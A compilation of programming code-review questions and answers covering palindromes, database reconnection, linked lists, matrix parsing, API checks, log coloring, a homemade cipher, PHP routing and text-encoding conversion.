def test_raises_exception_for_incompatible_input():
    with pytest.raises(ValueError) as error:
        palindrome_from('asdf')
    assert "no palindrome exists for 'asdf'" in error.value.args

Manual testing in the console

while True:
    try:
        word = input('Enter a word: ')
        print(palindrome_from(word))
    except ValueError as e:
        print(*e.args)
    except EOFError:
        break

from collections import deque, Counter

def palindrome_from(letters):
    """
    Forms a palindrome by rearranging :letters: if possible,
    throwing a :ValueError: otherwise.
    :param letters: a suitable iterable, usually a string
    :return: a string containing a palindrome
    """
    counter = Counter(letters)
    sides = []
    center = deque()
    for letter, occurrences in counter.items():
        repetitions, odd_count = divmod(occurrences, 2)

odd_count is a bit of a strange name, because its just whether its odd or even, not really an odd_count

        if not odd_count:
            sides.append(letter * repetitions)
            continue

avoid using continue, favor putting the rest of the loop in an else block. Its easier to follow that way

        if center:
            raise ValueError("no palindrome exists for '{}'".format(letters))
        center.append(letter * occurrences)
    center.extendleft(sides)
    center.extend(sides)

Avoid reusing variables for something different. Changing center to be the whole phrase isn't all that good an idea. I suggest using itertools.chain(sides, center, reversed(sides)) and then joining that.

    return ''.join(center)


Monitoring and re-establishing a PostgreSQL connection Within a complicated Ruby project, I need to monitor the connection to a PostgreSQL database, as answered here. I use a thread for this purpose. Every few milliseconds, I invoke "consume_input" which will raise an exception of the database connection no longer exists. If might have been closed for a number of reasons, but there is no indication from the socket/connection why it is closed. If the server is restarted and is alive again within a certain time-frame, I reconnect and assume everything is fine. Otherwise, I notify another object via a callback that all is not well, and the thread exits normally.

I'm looking for tips and suggestions on following best practices and correctness. I need some general Ruby advice on making my code cleaner and more robust.

PG_MAX_FAILURES=10
PG_SLEEP_QUANTA=0.25
def monitor_start
  log.info("db: #{__method__}")
  _dbconn=nil
  if @monitor.alive?
    @monitor.kill
    sleep PG_SLEEP_QUANTA
  end
  @monitor = Thread.new {
    _failures=0
    while true do
        begin
          if ! _dbconn.is_a?PG::Connection or _dbconn.status() != PG::CONNECTION_OK
            log.info("Reconnecting...")
            _dbconn = PG.connect( @dbconnstr )
            log.info("Reconnected.")
          else
            _dbconn.consume_input()
            _failures=0
          end
          sleep PG_SLEEP_QUANTA
        rescue PG::ConnectionBad => ex
          _failures += 1
          if _failures >= PG_MAX_FAILURES
            @monitor_post_callback.call()
            break # Thread.current.stop ??
          end
          log.warn("Postgresql connection lost. Retry# #{_failures}...")
          sleep PG_SLEEP_QUANTA
          retry
        rescue => ex
          log.warn("Other exception #{ex.class} #{ex.message}")
        end
    end
  }
end

What follows is just my subjective opinion; you can disagree.

Robust code is maintainable.  You need to be able to change this code if you find a bug in it, or if the requirements change. It might even be that someone else may need to maintain this code.  So you should probably use a regular indenting pattern (2 spaces is normal for Ruby). That would make it a lot easier to see what was going on.
Likewise, your code would be cleaner if it was split into separate functions. Making the contents of the thread.new block a separate function would be a good place to start, but you could (and maybe should) go further than that.
It seems to me that the sleep ... retry at the end of the first rescue block are redundant, since you are going to loop around again anyway. YMMV.


Is this the right way to delete a node? This is how I am deleting a node from a singly linked list. Would this be the most correct way?

void Remove(Node** head, int value)
{
    Node** ptr = head;

    while (*ptr && (*ptr)->data != value)
        ptr = &(*ptr)->next;

    if (*ptr)
    {
        Node* next = (*ptr)->next;
        delete *ptr;
        *ptr = next;
    }
}

Comments
This is not really C++.
It is just some C code.
Code Review
Everything @matsjoyce said:

Don't need 'head'
Always use '{}' around sub block statements.

Naming conventions
In C++ it is common convention that names of objects (anything that can have its address taken) begins with a lower case letter (this includes function and method names). So I would rename Remove to remove. This is so it is easier to spot the names of user defined types (which should begin with an upper case letters).
Design
Encapsulation is your friend.
A free function to delete elements from a list is the wrong way to go. You should have created a list class that contains nodes. Then add a member function to delete the node.
Query
By the way, why a singly linked list? That sounds like premature optimization to me. Code is much simpler using a doubly linked list (with a sentinel). Of course you are writing in C so you are probably trying to write optimal code down as close to the metal with no help from language semantics.
Without double indirection
Double indirection is horrible. It is hard to read and hard to use in the code. If you want to pass something that needs to be updated pass a reference to the object. Then it will be updated in the function.
A simple technique for traversing a singly linked list is to use two pointers. A pointer to the current element and a pointer to the previous element. Unlinking the element then becomes a simple assignment to the previous element.
class SinleLinkedList
{
    public:
        void remove(int value)
        {
            remove(head, value);
        }
    private:
        Node*     head;
        void remove(Node*& ptr, int value)
        {
            Node*   prev    = NULL
            Node*   current = ptr;

            while(current && current->data != value)
            {
                prev    = current;
                current = prev->next;
            }

            // If current is not NULL then we fell out of the
            // above loop because the != failed so it must be equal
            if (current /*&& current->data == value*/ )
            {
                // Set the value we are going to update after delete.
                // If prev == NULL its the head, otherwise we update
                // next pointer from the prev element.
                Node*&  result = (prev == nullptr) ? ptr : prev->next;

                // Save the next value.
                // Delete the old node and update.
                Node* next = current->next;
                delete current;
                result = next;
            }
        }
};


Parse 2D matrix, 2 versions I'm writing a little C program that computes matrices (for learning purpose). The matrix is fed through arguments in the following form : "{{43,543.324,34},{43,432,87}}"
The user doesn't give the dimensions.

I have solved this problem two times in two different ways:

Short series of entangled if / else / mess
Kind of a state machine doing one task at a time, much longer

Here they are, the first one is commented and the second one follows:

int matrix_fill(matrix * A, char * input)
{
    size_t i, j;
    float val;

/*
    size_t input_len = strlen(input);
    if (input[0] != '{' || input[input_len - 1] != '}') {
        errno = EINVAL;
        perror("matrix_fill");
        exit(-1);
    }

    input[input_len - 1] = '\0';
    input++, input_len -= 2;

    i = 0;
    while (*input != '\0') {
        printf("input: %s\n", input);
        j = 0;

        if (*input == '{') {
            input++;

            while (1) {

                val = strtof(input, &input);
                printf("(%d,%d) = %f\n", i, j, val);
                matrix_set(A, i, j, val);
                j++;

                if (*input == ',')
                    input++;

                else if (*input == '}')
                    break;

                else {

                }
            }

            i++, input++;
            A->m = i, A->n = j;
        }

        else if (*input == ',') {
            input++;
        }

        else {
            errno = EINVAL;
            perror("matrix_fill");
            exit(-1);
        }
    }
*/

    enum {
        start,
        open,
        read,
        delim,
        close,
        end
    } status = start;

    while (*input != '\0') {

        switch (status) {
        case start:
            if (*input != '{' || *(input + 1) != '{') {
                errno = EINVAL;
                goto error;
            }

            i = 0, input++;
            status = open;
            break;

        case open:
            j = 0, input++;
            status = read;
            break;

        case read:
            val = strtof(input, &input);
            if (errno < 0) goto error;

            matrix_set(A, i, j, val);
            j++;

            if (*input == ',')
                status = delim;

            else if (*input == '}')
                status = close;

            else {
                errno = EINVAL;
                goto error;
            }

            break;

        case delim:
            input++;

            if (*input == '{')
                status = open;

            else
                status = read;

            break;

        case close:
            input++;

            if (*input == ',')
                status = delim;

            else if (*input == '}')
                status = end;

            else {
                errno = EINVAL;
                goto error;
            }

            i++;
            break;

        case end:
            input++;
            A->m = i, A->n = j;

            break;
        }
    }

    return 0;

error:
    perror("matrix_fill");
    return -1;
}

Points I would like you to examine:

Use of goto
Length of the code
Clarity
Complexity of the solution vs complexity of the problem

I have had good results with both, but there might still be bugs. I'm more interested in your opinion about the design than the correctness.

Using a state machine is generally a very elegant way to parse input. This is actually how parsers
generated by YACC or Bison work, and it's also how lexical analysers generated by LEX work. It allows
the parsing to be more flexible.

Generally the variable names you used are quite descriptive and makes the code easier to use, the
one exception is naming the matrix A.

Things That Would Have Improved This Question
It would have been much easier to review this question if the following had been provided:
1. The definition of the struct matrix.
2. The header files necessary (stdio.h, stdlib.h, strings.h and errno.h).
3. If the 2 different versions of matrix_fill() had been separated and included as matrix_fill1()
and matrix_fill2().
4. If the program had been compiled using -Wall and all warnings addressed prior to asking.

I have included the reformated code that allowed me to compile at the end of my answer to show what
would have made this a better question and easier to answer.

During development of code it is a good idea to compilte the code with -Wall compiler switch so
that all warnings are reported. The warning can also be treated as errors. The type size_t is
not completely compatible with the printf() statements in the commented out algorithm:
Parse2DMatrix.c:142: warning: format ‘%d’ expects type ‘int’, but argument 2 has type ‘size_t’
Parse2DMatrix.c:142: warning: format ‘%d’ expects type ‘int’, but argument 3 has type ‘size_t’

The matrix struct should be presented so that we could have suggested possible error handling,
there are times when i or j may cause memory access problems because they are outside the scope
of the matrix.

The choice of types is interesting, I would have used double instead of float, and unsigned int
instead of size_t.

Error Reporting
Rather than using errno.h and perror() for this portion of the code it would have been
better if there was an internal error handling mechanism providing a better description of
the errors. Invalid argument is a little too general, "Missing { at start of expression" might
have been more meaningful.

Exit Versus Return
Calling exit(-1) does not allow the code to clean up after itself, returning an error value
allows the calling code to clean up any allocated memory and reset all items that need to be
reset. If this code was part of an operating system or a daemon that calling exit() is actually
not an option because you wouldn't want the system to crash.

Switch Statement Without Default Case
There should always be a default: case in a switch statement to handle unknown/undefined
behavior. In this specific instance rather than having a goto in case of errors the
default: case could have been used to handle the errors on the next iteration through the
loop. There could be one additional enum value in the enum, error could be a status type.

Enum Coding Standards
It would be better to call attention to the enumerators in the ENUM, and follow general C
Coding Standards (UCSD has published this coding standard).
By making the enumerators ALL_CAPITALS the code would be clearer and show that these are defined someplace.

It is possible that the status/state might be used elsewhere so it would be better to define the enum
type outside the function, and possibly in a header file.

A better way to define the enum would probably be:

typedef status { START, OPEN, READ, DELIM, CLOSE, END, ERROR} Status;

I would probably call the variable status state since that is what it is really being for.

Alternative Implementation For The State Machine
YACC, BISON and LEX generate tables (matricies) for transition from one state to another. One possible
alternate implementation of the state machine is to have an array of function pointers. Another possible
implementation is to use the current state as an index into an array of the next state (how YACC, BISON and
LEX are implemented).

White Space
The parsing algorithm does not allow for white space. Handling white space would be easy to add and allows
the user of the program to make the input more readable. There are a number of ways to implement check on
white space. One possibility is to have matrix_fill() be only a parser and have it run a lexical analysing
function that tokenizes the input. Note: This assumes that the buffer char *input has not been previously
processed to remove white space.

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <errno.h>

typedef struct Matrix {
    size_t m;
    size_t n;
    float values[20][20];
} matrix;

int matrix_set(matrix *A, size_t i, size_t j, float val)
{
    int error = 0;

    /* Algorithm not specified */

    return error;
}

int matrix_fill2(matrix *A, char *input)
{
    size_t i, j;
    float val;

    enum {
        start,
        open,
        read,
        delim,
        close,
        end
    } status = start;

    while (*input != '\0') {

        switch (status) {
        case start:
            if (*input != '{' || *(input + 1) != '{') {
                errno = EINVAL;
                goto error;
            }

            i = 0, input++;
            status = open;
            break;

        case open:
            j = 0, input++;
            status = read;
            break;

        case read:
            val = strtof(input, &input);
            if (errno < 0) goto error;

            matrix_set(A, i, j, val);
            j++;

            if (*input == ',')
                status = delim;

            else if (*input == '}')
                status = close;

            else {
                errno = EINVAL;
                goto error;
            }

            break;

        case delim:
            input++;

            if (*input == '{')
                status = open;

            else
                status = read;

            break;

        case close:
            input++;

            if (*input == ',')
                status = delim;

            else if (*input == '}')
                status = end;

            else {
                errno = EINVAL;
                goto error;
            }

            i++;
            break;

        case end:
            input++;
            A->m = i, A->n = j;

            break;
        }
    }

    return 0;

error:
    perror("matrix_fill");
    return -1;
}

int matrix_fill1(matrix * A, char * input)
{
    size_t i, j;
    float val;
    int error = 0;

    size_t input_len = strlen(input);
    if (input[0] != '{' || input[input_len - 1] != '}') {
        errno = EINVAL;
        perror("matrix_fill");
        exit(-1);
    }

    input[input_len - 1] = '\0';
    input++, input_len -= 2;

    i = 0;
    while (*input != '\0') {
        printf("input: %s\n", input);
        j = 0;

        if (*input == '{') {
            input++;

            while (1) {

                val = strtof(input, &input);
                printf("(%d,%d) = %f\n", i, j, val);
                matrix_set(A, i, j, val);
                j++;

                if (*input == ',')
                    input++;

                else if (*input == '}')
                    break;

                else {

                }
            }

            i++, input++;
            A->m = i, A->n = j;
        }

        else if (*input == ',') {
            input++;
        }

        else {
            errno = EINVAL;
            perror("matrix_fill");
            exit(-1);
        }
    }
    return error;
}


VanityURL checker in Python import requests
import json
import time

f = open('ok.txt', 'r')
c = f.read()
r = []
start = time.perf_counter()

def steamCheck(name):
    return requests.get("https://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/?key=removed&vanityurl=%s" % (name)).json()

for word in c.split():
    p = steamCheck(word)
    if p['response']['success'] == 42:
        with open('www.txt', 'a') as save:
            save.write(word + '\n')
            print('%s is available' % (word))
            r.append(word)
    else:
        print('%s is taken' % (word))

finish = time.perf_counter()
print(f'Finished in {round(finish-start, 2)} second(s)')

Hi this is a script I made to check if each word from a list exists as a vanityurl on steam or not.
I removed the api key so if you wanted to test yourself you would have to get one here :
https://steamcommunity.com/dev/apikey

I am a beginner in python and would like to know how you would change my script to make it better (faster, cleaner, etc..).
So far it works as intended however it is fairly slow and believe I may be doing something inefficiently.
Thanks for any advice you may have.

Example response from api if url is not taken:

{'response': {'success': 42, 'message': 'No match'}}

Example if the url IS taken:

{"response": {"steamid": "76561198868XXXXXX", "success": 1}}

This is a good start for a script. The next step should be separating in-/output from the functions doing the actual work.

In addition, whenever you make multiple requests to the same server, you should use a requests.Session, which will re-use the connection. You can also pass a dictionary params which will be the URL-encoded parameters for the request. The Session can take a default value for that.

You should always use with when opening a file or resource. This way it is ensured that it is closed properly, even if an exception occurs during the intervening code.

You can write multiple rows at once using writelines. You can even pass an iterable to this function and it will iterate for you.

I would write your script something like this:

import requests

URL = "https://api.steampowered.com/ISteamUser/ResolveVanityURL/v0001/"
PARAMS = {"key": "removed"}

def url_available(session, url):
    response = session.get(URL, params={"vanityurl": url}).json()
    return response['response']['success'] == 42

def main():
    session = requests.Session()
    session.params = PARAMS
    with open('ok.txt') as in_file, open('www.txt', 'w') as out_file:
        out_file.writelines(url for url in in_file
                            if url_available(session, url.strip()))

if __name__ == "__main__":
    with Timer("main"):
        main()

To this you should add a docstring to each function describing what it does, but that is left as an exercise :).

Here Timer is a simple class that starts a timer when the context is entered and reports the result when the with block is finished:

from time import perf_counter

class Timer:
    def __init__(self, name):
        self.name = name

    def __enter__(self):
        self.start = perf_counter

    def __exit__(self, *args):
        diff = round(perf_counter() - self.start, 2)
        print(f'{self.name} finished in {diff} second(s)')


Parsing logs in sed efficiently I have an application which log file has most lines start with a time/date, followed by a debugging level and the actual log message. Often I want to watch the output live and colors make it a lot better readable. This is what I use at the moment for piping the logs:

while read line; do
echo "$line" |
sed -e "s,^.* DEBUG,$(tput setaf 2)&$(tput sgr0)," \
    -e "s,^.* INFO,$(tput setaf 2)&$(tput sgr0)," \
    -e "s,^.* WARN,$(tput setaf 3)&$(tput sgr0)," \
    -e "s,^.* ERROR,$(tput setaf 1)&$(tput sgr0)," \
    -e "s,^.* SEVERE,$(tput setaf 1)$(tput bold)&$(tput sgr0),"
done

The call on the command line looks like this:

tail -fn 200 /path/server.log | ./logparser

This all works as expected but when many lines are printed at once the parser lags behind. I think this is because I run sed once for every single line. Is there a better solution?

Thanks to itsbruce this runs much faster:

sed -e "s,^.* DEBUG,$(tput setaf 2)&$(tput sgr0)," \
    -e "s,^.* INFO,$(tput setaf 2)&$(tput sgr0)," \
    -e "s,^.* WARN,$(tput setaf 3)&$(tput sgr0)," \
    -e "s,^.* ERROR,$(tput setaf 1)&$(tput sgr0)," \
    -e "s,^.* SEVERE,$(tput setaf 1)$(tput bold)&$(tput sgr0),"

Note: first two and the last line are removed.

Since sed takes the STDIN, this basically starts one sed instance for whole stream in contrast to one per line.


Encrypter - Double Vigenere Cipher in Python I wrote this encrypter based on the idea of a Vigenere cipher, but instead of using only one key, it "makes" another key from the existing key. The length of the second key also depends on the different characters in the first key. And so it uses both keys in the shifting of letters.

def scram(key):
    key2 = []
    #make the length of the second key varying from key to key for harder cracking
    length = (key[0]-32)+(key[int(len(key)/2)]-32)+(key[len(key)-1]-32)
    #make the max length = 256
    length = length % 256
    #if the length is less than 64, multiply by two to make it longer
    while(length < 64):
        length*=2

    #scrambles the letters around
    for x in range(length):
        #basically shifts the key according to the current character,
        #how many times it has looped the key, where it is in the key,
        #and the modulo of x and a few prime numbers to make sure that
        #an overlap/repeat doesn't happen.
        toapp = (x%(len(key)-1)) + (x/(len(key)-1)) + (key[x%(len(key)-1)]) + (x%3) +(x%5)+(x%53)+(x%7)
        toapp = int(toapp % 94)
        key2.append(toapp)

    return key2

def cipher(mes,key,ac):
    #makes the second key
    key2 = scram(key)
    res=[]

    #do proper shifting in the keys
    for x in range(len(mes)):
        temp=mes[x]

        if(action == "2"):
            temp = temp - key[x%(len(key)-1)] - key2[x%(len(key2)-1)]
        else:
            temp = temp + key[x%(len(key)-1)] + key2[x%(len(key2)-1)]

        temp = int(temp % 94)

        res.append(chr(temp+32))

    return res

#encrypt or decrypt
action = input("type 1 to encypt. type 2 to decrypt:")
#input
m= input("Text:")
k= input("key - 4 or more char:")

#changes the letters to ascii value
mes= []
for x in m:
    mes.append(ord(x)-32)

key= []
for x in k:
    key.append(ord(x)-32)

#encrypts it
result = cipher(mes,key,action)

for x in result:
    print(x,end="")

print("")

y = input("Press enter to continue...")

Are there more efficient ways to do it? Is this a safe way to encrypt text? Can you crack the text encrypted with this program?

List comprehension

m= input("Text:")
k= input("key - 4 or more char:")

#changes the letters to ascii value
mes= []
for x in m:
    mes.append(ord(x)-32)

key= []
for x in k:
    key.append(ord(x)-32)

This all can be shortened to two list comprehensions:

mes = [ord(x) - 32 for x in input("Text: ")]
key = # Exercise for the reader

Avoid globals in functions

    if(action == "2"):

action should be a parameter of the function.

temp forever

 temp=mes[x]

You name a variable temp and use it 8 lines... please give a sensible name to this important variable.

Super long formula

toapp = (x%(len(key)-1)) + (x/(len(key)-1)) + (key[x%(len(key)-1)]) + (x%3) +(x%5)+(x%53)+(x%7)

Please, put a comment near this huge formula.

Avoid so many assignments

result = cipher(mes,key)

for x in result:
    print(x,end="")

print("")

In python it is idiomatic to avoid extraneous variable assignements and explicit for loops are rarely really necessary, this all can be shortened to:

print(''.join(cipher(mes,key)))

Do not assign junk input

The last line should just be:

input("Enter to continue...")


Calling variable methods to handle ajax requests I made a controller.php file to handle ajax requests, with $_POST parameters action and module

if (isset($_POST["action"])) {
    $action = strtolower($_POST["action"]);

    if ($action === "get_notification") {
        //  return session notification messages
       //...

    } elseif (isset($_POST["module"])) {
        require_once("libraries/class.module.php");
        $module = new Module;

        $moduleName = strtolower($_POST["module"]);

        //  check if module-name is valid
        if ($module->verify($moduleName)) {
            // load  $modulename class
            require_once("libraries/class.".$moduleName.".php");

            //  factory used to create instance of $moduleName
            require_once("libraries/class.factory.php");

            // note: moduleName class extends Module class
            $module = $Factory->create($moduleName);

            //  verify method of $moduleName verifies action/method parameter
            //  using method_exists and cross-checking against a permitted methods list

            if ($module->verify($action)) {
                $message = $module->$action();
                echo json_encode($message);

            } else {
                //  handle invalid requests
                echo json_encode(["0", "Invalid request received"]);
            }

        } else {
            //  handle invalid requests
            echo json_encode(["0", "Invalid request received"]);
        }

    } else {
        //  handle invalid requests
        echo json_encode(["0", "Invalid request received"]);
    }

} else {
    //  handle invalid requests
    echo json_encode(["0", "No request received"]);
}

But I read this post on Stack Overflow which advises against using variable methods. Should I replace mine with a switch case that checks each $action and calls corresponding method.

First and foremost, I would worry about getting rid of that awful code nesting you have. This nesting yields increased cyclomatic complexity which tends to lead to more buggy/fragile code and code that is harder to maintain.

So, at a minimum, think of re-writing your code like this:

if(empty($_POST['action'])) {
    echo json_encode(["0", "No request received"]);
    exit;
}

$action = strtolower($_POST['action']);
if($action === 'get_notification') {
    //  return session notification messages
    exit;
}

if(empty($_POST['module'])) {
    echo json_encode(["0", "No request received"]);
    exit;
}

require_once("libraries/class.module.php");
$module = new Module;
$moduleName = strtolower($_POST["module"]);

if(!$module->verify($moduleName)) {
    echo json_encode(["0", "No request received"]);
    exit;
}

// rest of code, now without nesting

Now, with that consideration out of the way.  Let's get to your main question. I am bothered by the fact that you call your script controller.php when what it is really doing is routing.  Your "modules" seem to really be your controllers and your "routing" is done in a very procedural fashion.

What you are really missing here is the concept of a router which can authoritatively map the request to a controller which can handle the request and to which request execution is then handed off. This is a concrete application of the Inversion of Control principle.  You are trying to keep control of request execution at the level of this script, which means you will have to continue to increase the complexity of this script as you add new use cases.

So to answer you question about using a switch. I would recommend that, rather than thinking about variable methods or switch as your alternatives, you think about proper routing and inversion of control as your alternative.

Envision a top level script here which looks like:

/**
 * An object that encapsulates the request data - URI, GET/POST data, etc.
 * that you can pass through your system
 */
$request = new Request();

/**
 * An object which can inspect the request and instantiate a controller to
 * fulfill it. It then hands off script control to the controller.
 */
$router = new Router();
$controller = $router->getController($request);
$controller->execute();

That's it.  That's all that needs to be in this top-level script file (with the exception of any script bootstrapping) if you embrace the concepts of routing and inversion of control.

The Router of course would need to hold the logic mapping request properties to controllers - oftentimes with that mapping be captured in a config file. That might look something like this (here I am using JSON representation, but this could take many forms):

{
    "action": {
        "get_notification": "NotificationController",
        "other_action": {
            "module": {
                "some_module": "OtherActionSomeModuleController",
                "other_module" "OtherActionOtherModuleController",
                ...
             },
             "other_module: { ... },
        },
        ...
    }
}

This could, for example, just map various actions, modules, etc. to different controller class names. Each of these controllers would need to be able to accept a Request object as a dependency and know what to do with it when execute() is called. The router would instantiate the appropriate class and then pass the Request to it.

As a developer wanting to add new action/behaviors to the system, all you would need to do is build a new controller for it, and then add the new controller to the route map as appropriate. You would not need to change one bit of code in the rest of the application (i.e. the top-level routing script) unless you were introducing a non-compatible change for some reason (i.e. your whole route map would need to change).

And in case you were wondering what happened to all the handling of invalid requests, that would be something that would live with the Router.  If it cannot successfully route the request, it could just instantiate an InvalidRequestController or similar to fulfill the request.

So your getController() method might look like:

// assume the config shown above has been loaded into a multi-dimensional array
// in $map property.
public function getController(Request $request) {
      if(!array_key_exists($request->action, $this->map) {
          return new InvalidRequestController($request);
      }
      $action = $this->map[$request->action];
      if(!is_array($action)) {
          return new {$action}($request);
      }
      if(!array_key_exists($request->module, $action)) {
          return new InvalidRequestController($request);
      }

      return new {$action[$request->module]}($request);
}

A few other considerations:

You really ought to consider using an autoloader (ideally a PSR-4 compliant one).  Having a bunch of include/require statements littered throughout your code to load classes is really a very old way of doing things.
You really should consider sending appropriate HTTP error codes when your application receives mal-formed requests (i.e. all of your "invalid request" conditionals).
What is the purpose of having both action and module if you only have a single action you are listening for and everything else goes to modules?  It seems like this could perhaps be just a single layer of routing as opposed to the nesting routing construct this code implies.
I don't know what $module->verify() does, but is it a potential security concern with passing unvalidated POST data deeper into the application?
When you have variable interpolation like this $module->$action(), consider using braces to eliminate ambiguity - $module->{$action}() (as you could theoretically have $module->{$action()} usage).
There are a bunch of bad coding resources/examples out there on the web (especially for PHP) that can lead you to bad programming habits, or that are out of touch with modern development approaches.  I will leave you with what I consider to be the best resource to someone learning to work with PHP - http://www.phptherightway.com/


Shorthand for isset($var['foo']) ? $var['foo'] : '' I feel like I write this a lot in PHP:

 $val = isset($var['foo']) ? $var['foo'] : '';

Is there a shorter way to write this? I can't use the ternary operator because the conditional is an isset check, not the value of the function itself.

Now three years later we have the Null Coalesce Operator in PHP7:

 $val = $var['foo'] ?? '';

http://3v4l.org/Kcb2A


Split post string into hash if(env['REQUEST_METHOD'] == 'POST')
  $post = {}
  post = env['rack.input'].read.split('&')
  post_split = Array.new
  post.each{|x| post_split << x.split('=')}
  post_split.each{|x|
    $post[x[0]] = x[1]
  }
end

What would be a nice way to do this? I have a string like:

"a=b&c=d"

and i'm trying to get it into a hash like

{:a=>'b',:c=>'d'}

This code works but it is just terrible, and I can't access the keys with

$post[:a]

only

$post['a']

better way of such parsing is not to reinvent the wheel and use existing ruby functionality

require "cgi"
post = CGI.parse "a=b&c=d"
# => {"a"=>["b"], "c"=>["d"]}

hash values are arrays here, but it makes sense, as you can have several vars in your query string with the same name

for the second part of your question (accessing the keys as symbols) you can use .with_indifferent_access method provided by ActiveSupport (it is already loaded if you use rails)

post.with_indifferent_access[:a]
# => ["b"]


Performance: repeated sweep through large binary dataset As part of a bigger mcmc sampling algorithm, I'm repeatedly looping through my entire dataset. When the data grows large this becomes a pretty large bottleneck in my algorithm and I'm looking for ways to make it faster.

Some things I'm considering are:

What are the most efficient datatypes? For example, for the variable x I use std::vector< std::vector<bool> > because data are binary; 0 or 1. However, this leads to many type conversions. Is there a better way?
Can I use iterators to loop over the data more efficiently?

All suggestions are welcome!

Edit: the performance critical function does the following:

The goal of the code is to simulate a dataset of size np by ni, while simultaneously evaluating a likelihood ratio. The simulated new data is binary, and created by rlogis(0.0, 1.0) <= val ? 1 : 0. The subsequent evaluation of the ratio happens via acc += theta[i][d] * (x[i][j] -
 xnew) * C[j][d];. These two steps seem optimal from a performance perspective to me; my question is primarily about the surrounding structure.

Code:

#include <iostream>
#include <vector>
#include <chrono>

using namespace std; // <-- only here for the example; I don't normally do this

typedef unsigned int uint;
typedef std::vector<double> vec;
typedef std::vector<vec> mat;

// will be replaced by actual random number generator
double rlogis() {
    return rand() % 5 - 2;
}

// improving performance of this function is my goal
double orig(const uint np, const uint ni, const uint nd,
               const mat& theta, const mat& C,
               const vec& delta, const vec& lambdaNew,
               const int d, std::vector<std::vector<bool> >& x) {

    double acc = 0.0;
    bool xnew;
    vec tmp(nd);
    for (uint j = 0; j < ni; ++j) {

        for (uint d2 = 0; d2 < nd; ++d2) {
            tmp[d2] = lambdaNew[d2] * C[j][d2];
        }

        for (uint i = 0; i < np; ++i) {

            double val = delta[j];
            for (uint d2 = 0; d2 < nd; ++d2) {
                val += tmp[d2] * theta[i][d2];
            }

            xnew = rlogis() <= val;
            acc += theta[i][d] * (x[i][j] - xnew) * C[j][d];

        }
    }
    return acc;
}

// wrapper function for timing
int main() {

    // dimensions of the data
    const uint np = 2E4; // this could be larger, easily 1E5
    const uint ni = 200; // this stays constant
    const uint nd = 3;   // could be 4-5, but not 10

    // objects
    std::vector<double> delta(ni);
    std::vector<double> lambdaNew(nd);
    vector< std::vector<double> > theta(np, std::vector<double>(nd));
    vector< std::vector<double> > C(ni, std::vector<double>(nd));
    std::vector< std::vector<bool> > x(np, std::vector<bool>(ni));

    // fill objects with values (exact values are irrelevant)
    srand(1);
    int d = rand() % nd;
    for (uint i = 0; i < np; ++i) {
        for (uint d = 0; d < nd; ++d) {
            theta[i][d] = 2 * rand() - 1;
        }
        for (uint j = 0; j < ni; ++j) {
            x[i][j] = bool(int(rand() + .5));
        }
    }
    for (uint j = 0; j < ni; ++j) {
        delta[j] = 2 * rand() - 1;
        for (uint d = 0; d < nd; ++d) {
            C[j][d] = 2 * rand() - 1;
        }
    }
    for (uint d = 0; d < nd; ++d) {
        lambdaNew[d] = 5 * rand() + 1;
    }

    // start timing
    {
        srand(2);
        auto start = chrono::steady_clock::now();
        auto ans = orig(np, ni, nd, theta, C, delta, lambdaNew, d, x);
        auto time1 = chrono::steady_clock::now() - start;

        cout << "Orig: " << ans << "\n"
             << "Time: " << chrono::duration <double, milli> (time1).count() << " ms\n" << endl;
    }

    return 0;
}

You did not provide any performance measurements, so every answer here is basically guesswork, but I suspect that the lack of speed you are experiencing could have something to do with std::vector<bool>.

The problem is that std::vector<bool> is not really what it appears to be. While a vector of any other type actually works in units of bytes, the specialization for bool works with individual bits, packing them as tightly as possible. This is, of course, great if you want to reduce memory usage, but it also is really slow since you have to mask and shift bits around every time you want to access a value.

For this reason, in combination with the fact that it doesn't behave like a normal vector in certain cases (which are, sadly, not exactly rare), std::vector<bool> is mostly seen as a design flaw in the standard library and does not see much use.

You should try to replace std::vector<bool> with a similar fitting type, e.g. std::vector<char>, and measure that to determine whether and by how much this alleviates your issue.

If you are not convinced yet, here is a quick-and-dirty benchmark to show just how much slower std::vector<bool> is.


Convert a mix of latin 1 and UTF-8 to proper UTF-8 The following program takes an arbitrary byte sequence as input and outputs well-formed UTF-8. All UTF-8 sequences from the input are copied unmodified. All other bytes are assumed to be encoded in ISO 8859-1 or some variant, and their byte value is output as the corresponding code point in UTF-8.

#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>

static int buf[4];
static size_t buflen;

/* Reads from stdin until buf[index] can be accessed. */
static bool read_buf(size_t index) {
    while (!(index < buflen)) {
        buf[buflen] = getchar();
        if (buf[buflen] == EOF) {
            return false;
        }
        buflen++;
    }
    return buf[buflen - 1] != EOF;
}

static void write_buf(size_t n) {
    for (size_t i = 0; i < n; i++) {
        putchar(buf[i]);
    }
    buflen = 0;
}

static bool start_between(int min, int max) {
    return min <= buf[0] && buf[0] < max;
}

static bool is_cont(int index) {
    return 0x80 <= buf[index] && buf[index] < 0xC0;
}

static int code_point(int bits18, int bits12, int bits06, int bits00) {
    return   ((bits18 & 0x3F) << 18)
           | ((bits12 & 0x3F) << 12)
           | ((bits06 & 0x3F) <<  6)
           |  (bits00 & 0x3F);
}

int main(void) {
    while (read_buf(0) && !ferror(stdout)) {
        if (start_between(0x00, 0x80)) {
            write_buf(1);
        } else if (start_between(0xC2, 0xE0) && read_buf(1) && is_cont(1)
                   && code_point(0, 0, buf[0] & 0x1F, buf[1]) >= 0x0080) {
            write_buf(2);
        } else if (start_between(0xE0, 0xF0) && read_buf(2) && is_cont(1) && is_cont(2)
                   && code_point(0, buf[0] & 0x0F, buf[1], buf[2]) >= 0x0800) {
            write_buf(3);
        } else if (start_between(0xF0, 0xF8) && read_buf(3) && is_cont(1) && is_cont(2) && is_cont(3)
                   && code_point(buf[0] & 0x07, buf[1], buf[2], buf[3]) >= 0x010000
                   && code_point(buf[0] & 0x07, buf[1], buf[2], buf[3]) < 0x110000) {
            write_buf(4);
        } else {
            putchar(0xC0 + ((buf[0] >> 6) & 0x1F));
            putchar(0x80 + ((buf[0] >> 0) & 0x3F));
            buflen--;
            buf[0] = buf[1];
            buf[1] = buf[2];
            buf[2] = buf[3];
            buf[3] = 0;
        }
    }

    return ferror(stdin) || ferror(stdout) ? EXIT_FAILURE : EXIT_SUCCESS;
}

To test the code, I manually ran variants of the following command:

perl -e 'print pack("H*", "fcf09f9985e08080fc")' | ./latin1_to_utf8 | hexdump -C

A useful idea, and very well implemented.

I'd re-write this condition:

while (!(index < buflen))

as

while (buflen <= index)

